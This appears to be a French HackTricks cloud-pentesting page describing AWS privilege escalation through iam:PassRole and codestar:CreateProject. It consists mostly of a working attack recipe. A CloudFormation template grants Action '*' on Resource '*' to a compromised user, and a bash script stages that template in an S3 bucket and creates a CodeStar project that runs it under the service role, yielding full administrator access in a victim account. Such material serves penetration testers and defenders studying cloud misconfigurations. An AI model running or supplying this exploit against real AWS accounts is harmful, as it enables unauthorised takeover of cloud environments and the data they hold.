iam:PassRole, codestar:CreateProject

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Avec ces permissions, vous pouvez abuser d'un rĂŽle IAM codestar pour effectuer des actions arbitraires via un modĂšle cloudformation.

Pour exploiter cela, vous devez crĂ©er un bucket S3 qui est accessible depuis le compte attaquĂ©. TĂ©lĂ©chargez un fichier appelĂ© toolchain.json. Ce fichier doit contenir l'exploitation du modĂšle cloudformation. Le suivant peut ĂȘtre utilisĂ© pour dĂ©finir une politique gĂ©rĂ©e Ă  un utilisateur sous votre contrĂŽle et lui donner des permissions d'administrateur :

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}

Aussi téléchargez ce fichier empty zip dans le bucket :

N'oubliez pas que le bucket avec les deux fichiers doit ĂȘtre accessible par le compte de la victime.

Avec les deux éléments téléchargés, vous pouvez maintenant procéder à l'exploitation en créant un projet codestar :

bash
PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Cette exploitation est basée sur le Pacu exploit de ces privilÚges : https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Vous pouvez y trouver une variation pour créer une politique gérée par un administrateur pour un rÎle au lieu d'un utilisateur.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks